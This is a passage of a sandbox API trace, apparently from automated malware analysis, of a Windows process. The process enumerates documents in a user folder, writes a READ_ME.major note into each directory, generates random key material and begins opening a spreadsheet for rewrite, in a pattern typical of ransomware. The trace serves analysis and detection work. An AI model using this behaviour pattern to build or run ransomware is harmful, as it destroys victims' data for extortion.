0x5c70f0 [0146.756] GetLastError () returned 0xb7 [0146.757] SetLastError (dwErrCode=0xb7) [0146.757] GetLastError () returned 0xb7 [0146.757] SetLastError (dwErrCode=0xb7) [0146.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0146.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0146.757] GetLastError () returned 0xb7 [0146.757] SetLastError (dwErrCode=0xb7) [0146.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8f0 [0146.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc968 [0146.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc8f0 | out: hHeap=0x570000) returned 1 [0146.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc968 | out: hHeap=0x570000) returned 1 [0146.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be688 [0146.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc8f0 [0146.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bebb0 [0146.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0146.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1a0 [0146.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0146.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0146.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0146.757] GetLastError () returned 0xb7 [0146.757] SetLastError (dwErrCode=0xb7) [0146.757] GetLastError () returned 0xb7 [0146.757] SetLastError (dwErrCode=0xb7) [0146.757] GetLastError () returned 0xb7 [0146.757] SetLastError (dwErrCode=0xb7) [0146.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0146.758] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\Outlook Files\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0146.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0146.931] WriteFile (in: hFile=0x5e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0146.932] CloseHandle (hObject=0x5e8) returned 1 [0146.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0146.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1a0 | out: hHeap=0x570000) returned 1 [0146.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0146.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bebb0 | out: hHeap=0x570000) returned 1 [0146.933] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39971bd0, ftCreationTime.dwHighDateTime=0x1d4dbcd, ftLastAccessTime.dwLowDateTime=0xecb95e0, ftLastAccessTime.dwHighDateTime=0x1d4f183, ftLastWriteTime.dwLowDateTime=0xecb95e0, ftLastWriteTime.dwHighDateTime=0x1d4f183, nFileSizeHigh=0x0, nFileSizeLow=0xe37, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="pxBJNeBYj8E8.pptx", cAlternateFileName="PXBJNE~1.PPT")) returned 1 [0146.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0146.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0146.933] GetLastError () returned 0x0 [0146.933] SetLastError (dwErrCode=0x0) [0146.933] GetLastError () returned 0x0 [0146.933] SetLastError (dwErrCode=0x0) [0146.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0146.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70f0 | out: hHeap=0x570000) returned 1 [0146.933] GetLastError () returned 0x0 [0146.933] SetLastError (dwErrCode=0x0) [0146.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0146.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0146.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0146.933] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da3d770, ftCreationTime.dwHighDateTime=0x1d4ec2e, ftLastAccessTime.dwLowDateTime=0x4f0a1d90, ftLastAccessTime.dwHighDateTime=0x1d4e09c, ftLastWriteTime.dwLowDateTime=0x4f0a1d90, ftLastWriteTime.dwHighDateTime=0x1d4e09c, nFileSizeHigh=0x0, nFileSizeLow=0x1783b, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="q FHylFhBBwVNR4I.xlsx", cAlternateFileName="QFHYLF~1.XLS")) returned 1 [0146.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0146.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0146.934] GetLastError () returned 0x0 [0146.934] SetLastError (dwErrCode=0x0) [0146.934] GetLastError () returned 0x0 [0146.934] SetLastError (dwErrCode=0x0) [0146.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0146.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0146.934] GetLastError () returned 0x0 [0146.934] SetLastError (dwErrCode=0x0) [0146.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0146.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0146.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0146.934] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafd00300, ftCreationTime.dwHighDateTime=0x1d4c987, ftLastAccessTime.dwLowDateTime=0x8d2c8fc0, ftLastAccessTime.dwHighDateTime=0x1d4c825, ftLastWriteTime.dwLowDateTime=0x8d2c8fc0, ftLastWriteTime.dwHighDateTime=0x1d4c825, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="QIddoQWl8eDSDIqz", cAlternateFileName="QIDDOQ~1")) returned 1 [0146.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0146.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0146.934] GetLastError () returned 0x0 [0146.934] SetLastError (dwErrCode=0x0) [0146.934] GetLastError () returned 0x0 [0146.934] SetLastError (dwErrCode=0x0) [0146.934] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0146.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0146.934] GetLastError () returned 0x0 [0146.935] SetLastError (dwErrCode=0x0) [0146.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0146.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0146.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0146.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0146.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0146.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc968 [0146.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0146.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0146.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0146.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0146.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0146.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0146.935] GetLastError () returned 0x0 [0146.935] SetLastError (dwErrCode=0x0) [0146.935] GetLastError () returned 0x0 [0146.935] SetLastError (dwErrCode=0x0) [0146.935] GetLastError () returned 0x0 [0146.936] SetLastError (dwErrCode=0x0) [0146.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdc40 [0146.936] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0146.937] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdc40 | out: hHeap=0x570000) returned 1 [0146.937] WriteFile (in: hFile=0x5e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0146.938] CloseHandle (hObject=0x5e8) returned 1 [0146.938] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0146.938] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0146.938] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0146.938] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0146.939] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x152842a1, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x152842a1, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x152aa46e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0146.939] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0146.939] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0146.939] GetLastError () returned 0x0 [0146.939] SetLastError (dwErrCode=0x0) [0146.939] GetLastError () returned 0x0 [0146.939] SetLastError (dwErrCode=0x0) [0146.939] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0146.939] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0146.939] GetLastError () returned 0x0 [0146.939] SetLastError (dwErrCode=0x0) [0146.939] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0146.939] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0146.939] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17330a70, ftCreationTime.dwHighDateTime=0x1d4d337, ftLastAccessTime.dwLowDateTime=0xf805ef0, ftLastAccessTime.dwHighDateTime=0x1d4cacb, ftLastWriteTime.dwLowDateTime=0xf805ef0, ftLastWriteTime.dwHighDateTime=0x1d4cacb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SpY7Gp", cAlternateFileName="")) returned 1 [0146.939] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0146.939] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0146.939] GetLastError () returned 0x0 [0146.939] SetLastError (dwErrCode=0x0) [0146.939] GetLastError () returned 0x0 [0146.939] SetLastError (dwErrCode=0x0) [0146.940] GetLastError () returned 0x0 [0146.940] SetLastError (dwErrCode=0x0) [0146.940] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0146.940] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0146.940] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0146.940] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0146.940] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d340 [0146.940] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0146.940] GetLastError () returned 0x0 [0146.940] SetLastError (dwErrCode=0x0) [0146.940] GetLastError () returned 0x0 [0146.940] SetLastError (dwErrCode=0x0) [0146.940] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0146.940] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0146.940] GetLastError () returned 0x0 [0146.940] SetLastError (dwErrCode=0x0) [0146.940] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0146.940] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0146.942] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0146.942] WriteFile (in: hFile=0x5e8, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0146.943] CloseHandle (hObject=0x5e8) returned 1 [0146.944] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0146.944] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d340 | out: hHeap=0x570000) returned 1 [0146.944] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0146.944] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0146.944] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe60cac00, ftCreationTime.dwHighDateTime=0x1d4cca4, ftLastAccessTime.dwLowDateTime=0x565db360, ftLastAccessTime.dwHighDateTime=0x1d4d041, ftLastWriteTime.dwLowDateTime=0x565db360, ftLastWriteTime.dwHighDateTime=0x1d4d041, nFileSizeHigh=0x0, nFileSizeLow=0xdddb, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="UeNN9FX.pdf", cAlternateFileName="")) returned 1 [0146.944] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0146.944] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0146.944] GetLastError () returned 0x0 [0146.944] SetLastError (dwErrCode=0x0) [0146.944] GetLastError () returned 0x0 [0146.944] SetLastError (dwErrCode=0x0) [0146.944] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0146.944] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0146.944] GetLastError () returned 0x0 [0146.944] SetLastError (dwErrCode=0x0) [0146.944] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0146.944] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0146.944] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be3c8 [0146.944] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16ce500, ftCreationTime.dwHighDateTime=0x1d49828, ftLastAccessTime.dwLowDateTime=0xd55fd6a0, ftLastAccessTime.dwHighDateTime=0x1d4c69d, ftLastWriteTime.dwLowDateTime=0xd55fd6a0, ftLastWriteTime.dwHighDateTime=0x1d4c69d, nFileSizeHigh=0x0, nFileSizeLow=0x4e84, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="V Aj6iLeWZhqj6eJRUz.xlsx", cAlternateFileName="VAJ6IL~1.XLS")) returned 1 [0146.945] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0146.945] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0146.945] GetLastError () returned 0x0 [0146.945] SetLastError (dwErrCode=0x0) [0146.945] GetLastError () returned 0x0 [0146.945] SetLastError (dwErrCode=0x0) [0146.945] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0146.945] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0146.945] GetLastError () returned 0x0 [0146.945] SetLastError (dwErrCode=0x0) [0146.945] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0146.945] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0146.945] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0146.945] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54bccd30, ftCreationTime.dwHighDateTime=0x1d47e06, ftLastAccessTime.dwLowDateTime=0xc6c13c40, ftLastAccessTime.dwHighDateTime=0x1d4ccd5, ftLastWriteTime.dwLowDateTime=0xc6c13c40, ftLastWriteTime.dwHighDateTime=0x1d4ccd5, nFileSizeHigh=0x0, nFileSizeLow=0xf9c6, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="wfOl4X1xdyW8oqkC8.pptx", cAlternateFileName="WFOL4X~1.PPT")) returned 1 [0146.945] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0146.945] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0146.945] GetLastError () returned 0x0 [0146.946] SetLastError (dwErrCode=0x0) [0146.946] GetLastError () returned 0x0 [0146.946] SetLastError (dwErrCode=0x0) [0146.946] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0146.946] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0146.946] GetLastError () returned 0x0 [0146.946] SetLastError (dwErrCode=0x0) [0146.946] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0146.946] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0146.946] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0146.946] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f5d9d20, ftCreationTime.dwHighDateTime=0x1d4c84b, ftLastAccessTime.dwLowDateTime=0xf456c520, ftLastAccessTime.dwHighDateTime=0x1d4cb4b, ftLastWriteTime.dwLowDateTime=0xf456c520, ftLastWriteTime.dwHighDateTime=0x1d4cb4b, nFileSizeHigh=0x0, nFileSizeLow=0xde96, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="XxD1.doc", cAlternateFileName="")) returned 1 [0146.946] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0146.946] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0146.946] GetLastError () returned 0x0 [0146.946] SetLastError (dwErrCode=0x0) [0146.946] GetLastError () returned 0x0 [0146.946] SetLastError (dwErrCode=0x0) [0146.947] GetLastError () returned 0x0 [0146.947] SetLastError (dwErrCode=0x0) [0146.947] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0146.947] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0146.947] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be7e8 [0146.947] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888e15d0, ftCreationTime.dwHighDateTime=0x1d4d575, ftLastAccessTime.dwLowDateTime=0xcd3963c0, ftLastAccessTime.dwHighDateTime=0x1d4d092, ftLastWriteTime.dwLowDateTime=0xcd3963c0, ftLastWriteTime.dwHighDateTime=0x1d4d092, nFileSizeHigh=0x0, nFileSizeLow=0x5d06, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="YgcrL70kHEGCGgT_4_.odp", cAlternateFileName="YGCRL7~1.ODP")) returned 1 [0146.947] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0146.947] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0146.947] GetLastError () returned 0x0 [0146.947] SetLastError (dwErrCode=0x0) [0146.947] GetLastError () returned 0x0 [0146.947] SetLastError (dwErrCode=0x0) [0146.947] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0146.947] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0146.947] GetLastError () returned 0x0 [0146.947] SetLastError (dwErrCode=0x0) [0146.947] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0146.947] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0146.947] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0146.947] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4a5fe0, ftCreationTime.dwHighDateTime=0x1d4cfc1, ftLastAccessTime.dwLowDateTime=0x57f9aec0, ftLastAccessTime.dwHighDateTime=0x1d4d4e4, ftLastWriteTime.dwLowDateTime=0x57f9aec0, ftLastWriteTime.dwHighDateTime=0x1d4d4e4, nFileSizeHigh=0x0, nFileSizeLow=0xea35, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ZMjCG.xlsx", cAlternateFileName="ZMJCG~1.XLS")) returned 1 [0146.947] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0146.947] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0146.947] GetLastError () returned 0x0 [0146.948] SetLastError (dwErrCode=0x0) [0146.948] GetLastError () returned 0x0 [0146.948] SetLastError (dwErrCode=0x0) [0146.948] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0146.948] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0146.948] GetLastError () returned 0x0 [0146.948] SetLastError (dwErrCode=0x0) [0146.948] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0146.948] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0146.948] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beaa8 [0146.948] FindNextFileW (in: hFindFile=0x60f028, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4a5fe0, ftCreationTime.dwHighDateTime=0x1d4cfc1, ftLastAccessTime.dwLowDateTime=0x57f9aec0, ftLastAccessTime.dwHighDateTime=0x1d4d4e4, ftLastWriteTime.dwLowDateTime=0x57f9aec0, ftLastWriteTime.dwHighDateTime=0x1d4d4e4, nFileSizeHigh=0x0, nFileSizeLow=0xea35, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ZMjCG.xlsx", cAlternateFileName="ZMJCG~1.XLS")) returned 0 [0146.948] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be268 [0146.948] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0146.948] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0146.948] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\ZMjCG.xlsx", dwFileAttributes=0x80) returned 1 [0146.949] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bec08 [0146.949] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0146.949] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bec08 | out: hHeap=0x570000) returned 1 [0146.949] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\ZMjCG.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\zmjcg.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0146.949] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=59957) returned 1 [0146.950] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xea35) returned 0x631898 [0146.950] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xea35) returned 0x6402d8 [0146.950] ReadFile (in: hFile=0x5e8, lpBuffer=0x631898, nNumberOfBytesToRead=0xea35, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | 